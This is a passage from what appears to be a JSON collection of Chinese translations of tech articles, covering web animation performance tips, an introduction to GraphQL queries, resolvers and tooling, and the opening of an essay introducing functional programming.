的动画\n\n交错安排一系列的元素是动画编排的一种简单易行的方法，这种方法很有效，因为它在性能良好的同时还好看—但请记住你本想让几个动画同时发生的。你想把这些动画分布开来，让每个都表现地流畅，而不是一下子太多动画从而显得特别慢。适当部分的重叠会看起来连续流畅而不是链式的单独动画。\n\n#### 代码示例\n\n有一些很简单的技巧来错开你的元素—尤其是其中有非常多的内容。如果页面中有小于 10 项内容，或者元素数量可预估（比如静态页面），我通常会在 CSS 中指定特定的值。这是最简单易行的方法了。\n\n![](https://cdn-images-1.medium.com/max/800/1*NyyitMSOXlxOPrk7xNQJgA.png)\n\n一个简单的 SASS 循环\n\n对更多的内容或者动态内容来说，可以在循环中动态地给每项内容添加时间节点。\n\n![](https://cdn-images-1.medium.com/max/800/1*T5S3EyM3rw-zrM8dmRFRqw.png)\n\n一个简单的 JavaScript 循环\n\n有两个典型的变量：基本延时和各个项目的延时。它很难协调，但你一旦找到正确的值，效果将会非常完美。\n\n> #5\n\n### 在慢动作中使用增量设计\n\n**过后再加快动画的速度**\n\n动画设计中，时间节点就是一切。20% 的工作是用来实现效果，剩下的 80% 使用来寻找合适的参数和持续时间来让一切在同时发生时显得流畅。\n\n尤其是在编排多个动画的时候，为了达到高性能和高共同性，观察动画的慢动作会让一切工作变得非常容易。\n\n无论你用的是 JavaScript 还是 CSS 预处理器比如 SASS（我们非常喜欢它），都需要简单地做一些额外的计算并且需要声明一些有用的变量。\n\n你必须确保它能够非常容易地尝试不同的速度或时间节点。举个例子，如果一个动画效果在 1/10 的速度下还表现地结结巴巴，那么可能会有一些非常基础的错误。如果在放慢 50 倍的速率下表现流畅，假以时日定能找到运行流畅的最大速度。或许正常速度下 5 毫秒的差池很难被注意到，但是放慢速度，它就变得非常明显了。\n\n尤其是做非常复杂的动画分析，或者解决非常棘手的性能瓶颈，慢动作查看元素会非常的有用。\n\n重要的一点就是，在慢动作下你会将非常多的细节优化地完美，当动画加速之后它将会给人完美无瑕的感觉。尽管这些都显得微不足道，但是用户会注意到动画效果的流畅和细节的。\n\n只有 OS X 才有的功能—如果你 shift + 点击最小化按钮或者一个应用图标，你将会看见它在缓慢移动。基于这一点，我们甚至在陀螺仪上实现了这个功能，当你按下 shift 键的时候将会激活慢动作模式。\n\n> #6\n\n### 给你的用户界面录个像，并且在重复播放中得到一个有价值的第三人视角的看法。\n\n有时候不同的视角能够帮助你对事物有更加清楚的认识，而录像则是一种很好的方法。\n\n有的人会用 AE 做视频然后放到网站上，而我恰恰相反，我总是尝试将网站界面录制成很棒的视频。\n\n发布视频其实门槛很高的。有一天我对做出来的东西感到非常激动，想记录下来和朋友们分享。\n\n然而，当看第二遍的时候，我发现了一些瑕疵，时间节点设置得不那么恰当，并且出现了一个延迟尖峰。这让我有点打退堂鼓了，我发现还有很多的内容需要优化，所以我不能就这么把视频发送给朋友。\n\n在使用过程中这些瑕疵都很容易被掩盖，但是在视频中一次次地观看慢动作的动画能够让一切问题都暴露地非常明显。\n\n有人会说拍摄出来和看起来的效果并不完全相同，但也许它变更加精确了呢。\n\n这已经成为我工作中很重要的一部分，我会观看慢动作的视频并且修改任何我觉得不妥的地方。其实也可以很容易地将这类问题归咎于浏览器性能差，但是再多优化一点多测试一点，这些问题就能够得到解决。\n\n等到你在视频中不会发现非常尴尬的延迟尖峰，并且感觉视频挺好的可以晒出来了，这个时候你的页面就可以发布了。\n\n> #7\n\n### 网络活动可能会造成延迟。\n\n**你应该预加载或者延迟处理非常大的 HTTP 请求**\n\n图片便是其中一个元凶，无论是几个大图片（大的背景图）或者非常多的小图（五十个头像），或者非常多的内容（一个从头到尾有很多图片的长页面）。\n\n页面首次加载的时候，许多的东西会被初始化并下载。其中内容解析、广告和其他第三方脚本会使性能变得更糟糕。有时候，将动画效果在页面加载后延迟零点几秒将会对性能有很大的提升。\n\n如果没有必要的话，不要过度优化动画延迟，一个复杂的页面要求非常精确的延迟和时间节点才能运行流畅。通常你会想要在开始的时候加载尽可能少的数据，当主要内容和介绍动画完成之后再继续加载其他的内容。\n\n一个有很多数据的页面，需要深思熟虑地加载所有内容。一个在静态页面中表现良好的动画效果也许就会在实时数据的加载中变得缓慢。如果有些内容仿佛应该生效但却没有，或者不能一如既往地流畅表现，我建议检查一下网络活动，确认一下你是否也在同时处理其他的内容。\n\n> #8\n\n### 不要直接绑定滚动事件。\n\n**貌似是个好主意，其实不然**\n\n基于滚动的动画在前些年一段时间非常火爆，尤其是涉及视差或者其他特效的内容里。它们的设计模式是好是坏仍有待考证，但是在技术上有着良莠不齐的实现方法。\n\n基于滚动的动画中有一种非常流行的处理方式，即将滚动一定距离作为事件处理同时触发动画内容。除非你对自己的行为了如指掌，否则我会建议不要使用这种方式，因为它真的很容易出错并且很难维护。\n\n更糟糕的情况是自定义滚动条功能，而不用默认的功能—又名  _scrolljacking_ 。请不要这么想不开。\n\n在这十项准则中，这项尤其适用于移动开发，另外可能也是理想用户体验的好的实践。\n\n如果你确实要求独特的体验并且你希望它基于滚动或者其他的特殊事件，我建议创建一个快速原型来实现，而不是费力不讨好地去设计事件形式。\n\n> #9\n\n### 尽早并且经常地在移动设备上的测试。\n\n大多数的网站都是在电脑上搭建的，并且最常用本机做测试。因此，移动端体验和动画性能就被次要考虑了。一些技术（比如 canvas）或者动画技术可能在移动端表现地并不好。\n\n然而，如果代码写得好优化也到位（参考规则 #1），移动端的体验甚至比电脑更加流畅。移动端的优化是一项非常棘手的事情，但是新的 iPhone 比手提电脑更快！如果你采用了前几项建议，你将会得到一个非常棒的移动端表现。\n\n![](https://cdn-images-1.medium.com/max/600/1*VTK6jzkOcCd-MMqspmrbfw.jpeg)\n\n移动端访问网站将会变得非常非常的重要。我建议你专门拿一个星期的时间认真地用手机查看你的网站，这或许有些极端，你可能会感觉像是在接受惩罚而被迫使用移动端版本，但是你应该调整好心态。\n\n不断优化设计和提高性能，直到网站在移动端的表现和在电脑上一样优美和方便。\n\n如果你坚持一周都用移动端来访问网站，你将会得到一个比电脑上更优化体验更好的网站。即使在使用过程中遇到非常恼人的事情也是值得的，那意味着这些问题将在你的用户体验到之前就被解决掉了！\n\n> #10\n\n### 经常在不同的设备上测试\n\n**不同屏幕尺寸、分辨率，或者有着各种样式的设备**\n\n除了移动端和电脑之外还有很多因素能够对性能产生极大的影响，比如是否是 \"retina\" 屏幕、窗口的分辨率、硬件的老旧程度等等。\n\n即使 Chorme 和 Safari 都是基于 Webkit 的浏览器并且有着相似的语法，但是他们也有各自的特点。每一次 Chrome 升级都会修复一些问题同时也会引入新的 bug，所以你必须时刻保持警惕。\n\n当然，你不会只想着搭建一个对于所有浏览器放之四海而皆准的网站，所以寻找一个灵活的方法以便于你能够增加或者移除一些功能是非常有用的。\n\n我通常会交替在较小的 MacBook Air 和大屏的 iMac 中使用网站，每次都会暴露出新的问题然后再修复 — 尤其是动画性能方面的问题，有时候也会有全局设计的题、信息密度、可读性的问题等等。\n\nMedia queries 是一款非常强大的工具，它典型的用处是定位由于高度或者宽度造成的样式差异，但是它同样能够用来根据分辨率添加目标内容或者其他属性。另外，识别系统和设备类型的功能也是非常有用的，因为移动设备的性能特征和电脑还是有很大区别的。\n"
  },
  {
    "path": "TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md",
    "content": "> * 原文地址：[So what’s this GraphQL thing I keep hearing about?](https://medium.freecodecamp.com/so-whats-this-graphql-thing-i-keep-hearing-about-baf4d36c20cf)\n> * 原文作者：本文已获原作者 [Sacha Greif](https://medium.freecodecamp.com/@sachagreif) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[xiaoyusilen](https://github.com/xiaoyusilen),[steinliber](https://github.com/steinliber)\n\n![](https://cdn-images-1.medium.com/max/2000/1*uF2-YU2quykHIs4tKXy7sw.png)\n\n# 我经常听到的 GraphQL 到底是什么？ #\n\n当听说出了一门新技术的时候，你可能会和我一样有以下 3 种反应：\n\n#### 1. 嫌弃 ####\n\n> 又来一个 JavaScript 类库？反正我只用 JQuery 就行了。\n\n#### 2. 感兴趣 ####\n\n> 嗯，也许我**应该**去了解一下这个我总是听别人说到的新库。\n\n#### 3. 恐慌 ####\n\n> 救命啊！我必须**马上**去学这个新库，否则我就会被淘汰了！\n\n在这个迅速发展的时代，让你保持理智的方法就是保持上述第二或第三种态度去学一些新的知识，走在潮流之前的同时激起你的兴趣。\n\n因此，现在就是学习 GraphQL 这个你常常听到别人谈论的东西的最好时机！\n\n### 基础 ###\n\n简单的说，GraphQL 是一种**描述请求数据方法的语法**，通常用于客户端从服务端加载数据。GraphQL 有以下三个主要特征：\n\n- 它允许客户端指定具体所需的数据。\n- 它让从多个数据源汇总取数据变得更简单。\n- 它使用了类型系统来描述数据。\n\n如何入门 GraphQL 呢？它实际应用起来是怎样的呢？你如何开始使用它呢？要找到以上问题的答案，请继续阅读吧！\n\n![](https://cdn-images-1.medium.com/max/800/1*NpFL8vnrMQ-D1L6T89T-4A.png)\n\n### 遇到的问题 ###\n\nGraphQL 是由 Facebook 开发的，用于解决他们巨大、老旧的架构的数据请求问题。但是即使是比 Facebook 小很多的 app，也同样会碰上一些传统 REST API 的局限性问题。\n\n例如，假设你要展示一个文章（`posts`）列表，在每篇文章的下面显示喜欢这篇文章的用户列表（`likes`），其中包括用户名和用户头像。这个需求很容易解决，你只需要调整你的 `posts` API 请求，在其中嵌入包括用户对象的 `likes` 列表，如下所示：\n\n![](https://cdn-images-1.medium.com/max/800/1*VuIe8p5Z00HAdnWTv0QUww.png)\n\n但是现在你是在开发移动 app，加载所有的数据明显会降低 app 的速度。所以你得请求两个接口（API），一个包含了 `likes` 的信息，另一个不含这些信息（只含有文章信息）。\n\n现在我们再掺入另一种情况：`posts` 数据是由 MySQL 数据库存储的，而 `likes` 数据却是由 Redis 存储的。现在你该怎么办？\n\n按着这个剧本想一想 Facebook 的客户端有多少个数据源和 API 需要管理，你就知道为什么现在评价很好的 REST API 所体现出的局限性了。\n\n### 解决的方案 ###\n\nFacebook 提出了一个概念很简单的解决方案：不再使用多个“愚蠢”的节点，而是换成用一个“聪明”的节点来进行复杂的查询，将数据按照客户端的要求传回。\n\n实际上，GraphQL 层处于客户端与一个或多个数据源之间，它接收客户端的请求然后根据你的设定取出需要的数据。还是不明白吗？让我们打个比方吧！\n\n之前的 REST 模型就好像你预定了一块披萨，然后又要叫便利店送一些日用品上门，接着打电话给干洗店去取衣服。这有三个商店，你就得打三次电话。\n\n![](https://cdn-images-1.medium.com/max/800/1*LVQb9_hxti9j-fY7SH3aKA.png)\n\nGraphQL 从某方面来说就像是一个私人助理：你只需要给它这三个店的地址，然后简单地告诉它你需要什么 （“把我放在干洗店的衣服拿来，然后带一块大号披萨，顺便带两个鸡蛋”），然后坐着等他回来就行了。\n\n![](https://cdn-images-1.medium.com/max/800/1*AFX14UE3utIs7xktnxVIng.png)\n\n换句话说，为了让你能和这个神奇的私人助手沟通，GraphQL 建立了一套标准的语言。\n\n![](https://cdn-images-1.medium.com/max/1000/1*tulrgfYYaRaDetz7jP5Q-g.png)\n\n上图是 Google 图片找的，有的私人助理甚至有八条手臂。\n\n![](https://cdn-images-1.medium.com/max/800/1*nC8aB5GHMhUEV28GdvSb5Q.png)\n\n理论上，一个 GraphQL API 主要由三个部分组成：**schema（类型）**，**queries（查询）** 以及 **resolvers（解析器）**。\n\n### 查询（Queries） ###\n\n你向你的 GraphQL 私人助理提出的请求就是 `query` ，query 的形式如下所示：\n\n```\nquery {\n  stuff\n}\n```\n\n在这里，我们用 `query` 关键字定义了一个新的查询，它将取出名叫 `stuff` 的字段。GraphQL 查询（Queries）最棒之处就是它支持多个字段嵌套查询，我们可以在上面的基础上加深一个层级：\n\n```\nquery{\n  stuff {\n    eggs\n    shirt\n    pizza\n  }\n}\n```\n\n正如你所见，客户端在查询的时候不需要关心数据是来自于哪一个“商店”的。你只需要请求你要的数据，GraphQL 服务端将会完成其它所有的工作。\n\n还有一点值得注意，query 字段也可以指向一个数组。例如，以下是一个查询一个文章列表的常用模式：\n\n```\nquery {\n  posts { # this is an array\n    title\n    body\n    author { # we can go deeper!\n      name\n      avatarUrl\n      profileUrl\n    }\n  }\n}\n```\n\nQuery 字段也支持使用**参数**。如果我想展示一篇特别的文章，我可以将 `id` 参数放在 `post` 字段中：\n\n```\nquery {\n  post(id: \"123foo\"){\n    title\n    body\n    author{\n      name\n      avatarUrl\n      profileUrl\n    }\n  }\n}\n```\n\n最后，如果我想让 `id` 参数能动态改变，我可以定义一个**变量**，然后在 query 字段中重用它。（请注意，我们在 query 字段处也要定义一次这个变量的名字）\n\n```\nquery getMyPost($id: String) {\n  post(id: $id){\n    title\n    body\n    author{\n      name\n      avatarUrl\n      profileUrl\n    }\n  }\n}\n```\n\n有个很好的方式来实践这些方法：使用  [GitHub’s GraphQL API Explorer](https://developer.github.com/early-access/graphql/explorer/) 。例如，你可以尝试下面的查询：\n\n```\nquery {\n  repository(owner: \"graphql\", name: \"graphql-js\"){\n    name\n    description\n  }\n}\n```\n\n![](https://cdn-images-1.medium.com/max/1000/1*adGjZ9lofuO_ohkmlqtZvg.gif)\n\nGraphQL 的自动补全功能\n\n当你尝试在下面输入一个名为 `description` 的新字段名时，你可能会注意到 IDE 会根据 GraphQL API 将可选的字段名自动补全。真棒！\n\n[![](https://cdn-images-1.medium.com/max/800/1*XthnQqgmM5Ag4TmwM6UVWw.png)](https://dev-blog.apollodata.com/the-anatomy-of-a-graphql-query-6dffa9e9e747)\n\n[The Anatomy of a GraphQL Query](https://dev-blog.apollodata.com/the-anatomy-of-a-graphql-query-6dffa9e9e747)\n\n你可以读读这篇超棒的文章[《Anatomy of a GraphQL Query》](https://dev-blog.apollodata.com/the-anatomy-of-a-graphql-query-6dffa9e9e747)，了解更多 GraphQL 查询的知识。\n\n### 解释器（Resolvers） ###\n\n除非你给他们地址，否则即使是这个世界上最好的私人助理也不能去拿到干洗衣物。\n\n同样的，GraphQL 服务端并不知道要对一个即将到来的查询做什么处理，除非你使用 **resolver** 来告诉他。\n\n一个 resolver 会告诉 GraphQL 在哪里以及如何去取到对应字段的数据。例如，下面是之前我们取出 `post` 字段例子的 resolver（使用了 Apollo 的 [GraphQL-Tools](https://github.com/apollographql/graphql-tools) ）：\n\n```\nQuery: {\n  post(root, args) {\n    return Posts.find({ id: args.id });\n  }\n}\n```\n\n在这个例子中，我们将 resolver 放在 `Query` 中，因为我们想要直接在根层级查询 `post`。但你也可以将 resolver 放在子字段中，例如查询 `post`（文章）的 `author`（作者）字段可以按照下面的形式：\n\n```\nQuery: {\n  post(root, args) {\n    return Posts.find({ id: args.id });\n  }\n},\nPost: {\n  author(post) {\n    return Users.find({ id: post.authorId})\n  }\n}\n```\n\n还有，resolver 不仅仅只能返回数据库里的内容，例如，如果你想为你的 `Post` 类型加上一个 `commentsCount`（评论数量）属性，可以这么做：\n\n```\nPost: {\n  author(post) {\n    return Users.find({ id: post.authorId})\n  },\n  commentsCount(post) {\n    return Comments.find({ postId: post.id}).count() \n  }\n}\n```\n\n理解这里的关键在于：对于 GraphQL，**你的 API 结构与你的数据库结构是解耦的**。换一种说法，我们的数据库中可能根本就没有 `author` 和 `commentsCount` 这两个字段，但是我们可以通过 resolver 的力量将它们“模拟”出来。\n\n正如你所见，我们可以在 resolver 中写任何你想写的代码。因此，你可以通过**改变** resolver 任意地**修改**数据库中的内容，这种形式也被称为 **mutation** resolver。\n\n### 类型（Schema） ###\n\nGraphQL 的类型结构系统可以让很多事情都变得可行。我今天的目标仅仅是给你做一个快速的概述而不是详细的介绍，所以我不会在这个内容上继续深入。\n\n话虽如此，如果你想了解更多这方面的信息，我建议你阅读 [GraphQL 官方文档](http://graphql.org/learn/schema/)。\n\n![](https://cdn-images-1.medium.com/max/800/1*uLSaEA8VyrGrU2Nki7LiKg.png)\n\n### 常见问题 ###\n\n让我们先暂停，回答一些常见的问题。\n\n你肯定想问一些问题，来吧，尽管问别害羞！\n\n#### GraphQL 与图形数据库有什么关系？ ####\n\n它们真的没有关系，GraphQL 与诸如 [Neo4j](https://en.wikipedia.org/wiki/Neo4j) 之类的图形数据库没有任何关系。名称中的 “Graph” 是来自于 GraphQL 使用字段与子字段来遍历你的 API 图谱；“QL” 的意思是“查询语言”（query language）。\n\n#### 我用 REST 用的很开心，为什么我要切换成 GraphQL 呢？ ####\n\n如果你使用 REST 还没有碰上 GraphQL 所解决的那些痛点，那当然是件好事啦！\n\n但是使用 GraphQL 来代替 REST 基本不会对你 app 的用户体验产生任何影响，所以“切换”这件事并不是所谓“生或死”的抉择。话虽如此，我还是建议你如果有机会的话，先在项目里小范围地尝试一下 GraphQL 吧。\n\n#### 如果我不用 React、Relay 等框架，我能使用 GraphQL 吗？ ####\n\n当然能！因为 GraphQL 仅仅是一个标准，你可以在任何平台、任何框架中使用它，甚至在客户端中也同样能应用它（例如，[Apollo](http://dev.apollodata.com/) 有针对 web、iOS、Angular 等环境的 GraphQL 客户端）。你也可以自己去做一个 GraphQL 服务端。\n\n#### GraphQL 是 Facebook 做的，但是我不信任 Facebook ####\n\n再强调一次，GraphQL 只是一个标准，这意味着你可以在不用 Facebook 一行代码的情况下实现 GraphQL。\n\n并且，有 Facebook 的支持对于 GraphQL 生态系统来说是一件好事。关于这块，我相信 GraphQL 的社区足够繁荣，即使 Facebook 停止使用 GraphQL，GraphQL 依然能够茁壮成长。\n\n#### “让客户端自己请求需要的数据”这整件事情听起来似乎不怎么安全…… ####\n\n你得自己写自己的 resolver，因此在这个层面上是否会出现安全问题完全取决于你。\n\n例如，为了防止客户端一遍又一遍地请求查询记录造成 DDOS 攻击，你可以让客户端指定了一个 `limit` 参数去控制它接受数据的数量。\n\n#### 那么我如何上手 GraphQL？ ####\n\n通常来说，一个 GraphQL 驱动的 app 起码需要以下两个组件：\n\n- 一个 **GraphQL 服务端** 来为你的 API 提供服务。\n- 一个 **GraphQL 客户端** 来连接你的节点。\n\n了解更多可用的工具，请继续阅读。\n\n![](https://cdn-images-1.medium.com/max/800/1*zugVY5cAa9KIP6Necc7uCw.png)\n\n现在你应该对 GraphQL 有了一个恰当的认识，下面让我们来介绍一下 GraphQL 的主要平台与产品。\n\n### GraphQL 服务端 ###\n\n万丈高楼平地起，盖起这栋楼的第一块砖就是一个 GraphQL 服务端。 [GraphQL](http://graphql.org/) 它本身仅仅是一个标准，因此它敞开大门接受各种各样的实现。\n\n#### [GraphQL-JS](https://github.com/graphql/graphql-js)  (Node) ####\n\n它是 GraphQL 的最初的实现。你可以将它和 [express-graphql](https://github.com/graphql/express-graphql) 一起使用，[创建你自己的 API 服务](http://graphql.org/graphql-js/running-an-express-graphql-server/) 。\n\n#### [GraphQL-Server](http://graphql.org/graphql-js/running-an-express-graphql-server/) (Node) ####\n\n[Apollo](http://apollostack.com) 团队也有他们自己的一站式 GraphQL 服务端实现。它虽然还没有像 GraphQL-JS 一样被广泛使用，但是它的文档、支持都做得很棒，使用它能快速取得进展。\n\n#### [其它平台](http://graphql.org/code/) ####\n\nGraphQL.org 列了一个清单： [GraphQL 在其它平台下的实现清单](http://graphql.org/code/)  （包括 PHP、Ruby 等）。\n\n### GraphQL 客户端 ###\n\n虽然你不使用客户端类库也可以很好地查询 GraphQL API，但是一个相对应的客户端类库将会[让你的开发更加轻松](https://dev-blog.apollodata.com/why-you-might-want-a-graphql-client-e864050f789c)。\n\n#### [Relay](https://facebook.github.io/relay/) ####\n\nRelay 是 Facebook 的 GraphQL 工具。我还没用过它，但是我听说它主要是为了 Facebook 自己的需求量身定做的，可能对大多数的用户来说不是那么人性化。\n\n#### [Apollo Client](http://www.apollodata.com/) ####\n\n在这个领域的最新参赛者是 [Apollo](http://apollostack.com)，它正在迅速发展。典型的 Apollo 客户端技术栈由以下两部分组成：\n\n- [Apollo-client](http://dev.apollodata.com/core/)，它能让你在浏览器中运行 GraphQL 查询，并存储数据。（它还有自己的[开发者插件](https://github.com/apollographql/apollo-client-devtools)）。\n- 与你用的前端框架的连接件（例如 [React-Apollo](http://dev.apollodata.com/react/)、[Angular-Apollo](http://dev.apollodata.com/angular2/) 等）。\n\n另外，在默认的情况下 Apollo 客户端使用  [Redux](http://redux.js.org) 存储数据。这点很棒，Redux 本身是一个有着丰富生态系统的超棒的状态管理类库。\n\n[![](https://cdn-images-1.medium.com/max/800/1*SLvbmGeU1p3mUfG8qA4cQQ.png)](https://github.com/apollographql/apollo-client-devtools) \n\nApollo 在 Chrome 开发者工具中的插件\n\n### 开源 App ###\n\n虽然 GraphQL 还属于新鲜事物，但是它已经被一些开源 app 使用了。\n\n#### [VulcanJS](http://vulcanjs.org) ####\n\n[![](https://cdn-images-1.medium.com/max/800/1*YoSlSmK3P1CIlpXKyVujCQ.png)](http://vulcanjs.org) \n\n首先我得声明一下，我是 [VulcanJS](http://vulcanjs.org) 的主要维护者。我创建 VulcanJS 是为了让人们在不用写太多样板代码的情况下充分享受 React、GraphQL 技术栈的好处。你可以把它看成是“现代 web 生态系统的 Rails”，让你可以在短短几个小时内做出你的 CRUD（增删查改）型 app。（例如 [Instagram clone](https://www.youtube.com/watch?v=qibyA_ReqEQ)）\n\n#### [Gatsby](https://www.gatsbyjs.org/docs/) ####\n\nGatsby 是一个 React 静态网站生成器，它现在是基于 [GraphQL 1.0 版本](https://www.gatsbyjs.org/docs/) 开发。它一眼看上去像个奇怪的大杂脍，但其实它的功能十分强大。Gatsby 在构建过程中，可以从多个 GraphQL API 取得数据，然后用它们创建出一个全静态的无后端 React app。\n\n### 其它的 GraphQL 工具 ###\n\n#### [GraphiQL](https://github.com/graphql/graphiql) ####\n\nGraphiQL 是一个非常好用的基于浏览器的 IDE，它可以方便你进行 GraphQL 端点查询。\n\n[![](https://cdn-images-1.medium.com/max/800/1*fbeXj5wB383gWsMXn_6JAw.png)](https://github.com/graphql/graphiql)\n\nGraphiQL\n\n#### [DataLoader](https://github.com/facebook/dataloader) ####\n\n由于 GraphQL 的查询通常是嵌套的，一个查询可能会调用很多个数据库请求。为了避免影响性能，你可以使用一些批量出入库框架和缓存库，例如 Facebook 开发的 DataLoader。\n\n#### [Create GraphQL Server](https://blog.hichroma.com/create-graphql-server-instantly-scaffold-a-graphql-server-1ebad1e71840) ####\n\nCreate GraphQL Server 是一个简单的命令行工具，它能快速地帮你搭建好基于 Node 服务端与 Mongo 数据库的 GraphQL 服务端。\n\n### GraphQL 服务 ###\n\n最后，这儿列了一些 GraphQL BAAS（后台即服务）公司，它们已经为你准备好了服务端的所有东西。这可能是一个让你尝试一下 GraphQL 生态系统的很好的方式。\n\n#### [GraphCool](http://graph.cool) ####\n\n一个由 GraphQL 和 AWS Lambda 组成的一个弹性后端平台服务，它提供了开发者免费计划。\n\n#### [Scaphold](https://scaphold.io/) ####\n\n另一个 GraphQL BAAS 平台，它也提供了免费计划。与 GraphCool 相比，它提供了更多的功能。（例如定制用户角色、常规操作的回调钩子等）\n\n![](https://cdn-images-1.medium.com/max/800/1*deLIZh7AfYbAt0u2t7dAKQ.png)\n\n下面是一些能让你学习 GraphQL 的资源。\n\n#### [GraphQL.org](http://graphql.org/learn/)  ####\n\nGraphQL 的官方网站，有许多很好的文档供你学习。\n\n#### [LearnGraphQL](https://learngraphql.com/) ####\n\nLearnGraphQL 是由 [Kadira](https://kadira.io/) 员工共同制作的课程。\n\n#### [LearnApollo](https://www.learnapollo.com/) ####\n\nLearnApollo 是由 GraphCool 制作的免费课程，是对于 LearnGraphQL 课程的一个很好的补充。\n\n#### [Apollo 博客](https://dev-blog.apollodata.com/) ####\n\nApollo 的博客有成吨的干货，有很多关于 Apollo 和 GraphQL 的超棒的文章。\n\n#### [GraphQL 周报](https://graphqlweekly.com/) ####\n\n由 Graphcool 团队策划的一个简报，其内容包括任何有关 GraphQL 的信息。\n\n#### [Hashbang 周报](http://hashbangweekly.okgrow.com/) ####\n\n另一个不错的简报，除了 GraphQL 的内容外，还涵盖了 React、Meteor。\n\n#### [Awesome GraphQL](https://github.com/chentsulin/awesome-graphql) ####\n\n一个关于 GraphQL 的链接和资源的很全面的清单。\n\n![](https://cdn-images-1.medium.com/max/800/1*S69N5yYp1VLSSO0GTnrpmw.png)\n\n你如何实践你刚学到的 GraphQL 的知识呢？你可以尝试下面这些方式：\n\n#### [Apollo + Graphcool + Next.js](https://github.com/zeit/next.js/tree/master/examples/with-apollo)  ####\n\n如果你对 Next.js 与 React 很熟悉，[这个例子](https://github.com/zeit/next.js/tree/master/examples/with-apollo)将会帮助你使用 Graphcool 很快的搭建好你的 GraphQL 端点，并在客户端使用 Apollo 进行查询。\n\n#### [VulcanJS](http://docs.vulcanjs.org/) ####\n\n[Vulcan 教程](http://docs.vulcanjs.org/)将会引导你创建一个简单的 GraphQL 数据层，既有服务端部分也有客户端部分。因为 Vulcan 是一个一站式平台，所以这种无需任何配置的方式是一种很好的上手途径。如果你需要帮助，请访问[我们的 Slack 栏目](http://slack.vulcanjs.org/)！\n\n#### [GraphQL & React 教程](https://blog.hichroma.com/graphql-react-tutorial-part-1-6-d0691af25858#.o54ygcruh)  ####\n\nChroma 博客有一篇[《分为六部的教程》](https://blog.hichroma.com/graphql-react-tutorial-part-1-6-d0691af25858#.o54ygcruh)，讲述了如何按照组件驱动的开发方式来构建一个 React/GraphQL app。\n\n![](https://cdn-images-1.medium.com/max/800/1*uLSaEA8VyrGrU2Nki7LiKg.png)\n\n### 总结 ###\n\n当你刚开始接触 GraphQL 可能会觉得它非常复杂，因为它横跨了现代软件开发的众多领域。但是，如果你稍微花点时间去明白它的原理，我认为你可以找到它很多的可取之处。\n\n所以不管你最后会不会用上它，我相信多了解了解 GraphQL 是值得的。越来越多的公司与框架开始接受它，过几年它可能会成为 web 开发的又一个重要组成部分。\n\n赞同？不赞同？有疑问？请留下评论让我们知道你的看法。如果你还比较喜欢这篇文章，请点亮💚或者分享给他人。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/so-you-want-to-be-a-functional-programmer-part-1.md",
    "content": "> * 原文地址：[So You Want to be a Functional Programmer (Part 1)](https://medium.com/@cscalfani/so-you-want-to-be-a-functional-programmer-part-1-1f15e387e536#.4pbbhao8l)\n* 原文作者：[Charles Scalfani](https://medium.com/@cscalfani)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[cdpath](https://github.com/cdpath)\n* 校对者：[luoyaqifei](https://github.com/luoyaqifei)， [DeadLion (Jasper Zhong)](https://github.com/DeadLion)\n\n# 准备充分了嘛就想学函数式编程？（第一部分）\n\n\n迈出理解函数式编程概念的第一步是最重要的，有时也是最难的一步。但是不一定特别难。只要选对了思考方法就不难。\n\n#### 学开车\n\n![](https://cdn-images-1.medium.com/max/1600/1*3aCyRpNew24v3PLXxu4VxQ.png)\n\n第一次学车时，我们也曾挣扎过。看别人学开车时觉得真的很简单。但事实上学车比我们想象的难多了。\n\n我们借父母的车子练习，在家周围街道上开熟练之前甚至都不敢冒险开到公路上去。\n\n但是通过不断的练习，在经历过一些父母想忘掉的担心令人的经历之后，我们学会了开车，最终拿到了驾照。\n\n拿到驾照之后我们一有机会就会把车开出去。每次出行都会让我们的技术越来越娴熟，信心也随之增长。终于有一天，我们必须开别人的车，或者自己的车最终报废了，只能买辆新的。\n\n第一次开另一辆**不同的车**是什么感觉？和**第一次**开车的感觉相同吗？差得远呢。第一次开车时一切都是那么陌生。我们之前在车里待过，但只是个乘客。这一次我们可是在驾驶席上，掌控着一切。\n\n但当我们开第二辆车时，我们只是简单问问自己几个问题就够了，比如钥匙怎么用，灯光在哪里，怎么用转向灯还有如何调整后视镜。\n\n之后就顺利多了。但是为什么这次比起第一次要容易那么多？\n\n这是因为这个新车和旧车基本上没什么区别。它们都有构成汽车的基本部件，而且都在差不多一样的地方。\n\n新车有些部件的实现方式有些差异，也可能有了一些新功能，但是第一次，甚至第二次开的时候都不会用到这些功能。直到最后我们了解了所有的新功能。至少是那些我们觉得有用的功能。\n\n其实学习编程语言的过程和学车有点类似。第一次是最难的。但是只要掌握了第一种语言，后面的都会轻松许多。\n\n开始学第二门语言的时候，我们也只是问几个诸如「如何创建模块？如何搜索数组？子字符串的参数是什么？」之类的简单问题。\n\n你有信心驾驭第二门语言，因为你觉得这就是旧语言加了一些新东西，学起来也就更轻松。\n\n#### 初次驾驶宇宙飞船\n\n![](https://cdn-images-1.medium.com/max/1600/1*ZLJIz9OrgCHCTST9KOcHIQ.png)\n\n不管你这辈子开过一辆车还是十来量，想象一下你就要开宇宙飞船了。\n\n要开宇宙飞船的话你就不能指望在路上开车的技术有什么用了，一切都要从零学起。（**我们可是程序员啊，我们从 0 开始计数。**）\n\n开始练习之前我们要想到在太空中一切都不同了，要把这玩意开起来和在公路上开车可完全不同。\n\n物理学倒是不会变。变的只是我们在这同一个宇宙中航行的方式。\n\n学习函数式编程就是这样。一定要做好大部分东西都会改变的准备。而且已有的编程知识并**不会**有太大帮助。\n\n编程就是思维方式，而函数式编程则是新的思维方式。习惯了这种新的思维方式之后你甚至可能没办法回到从前。\n\n#### 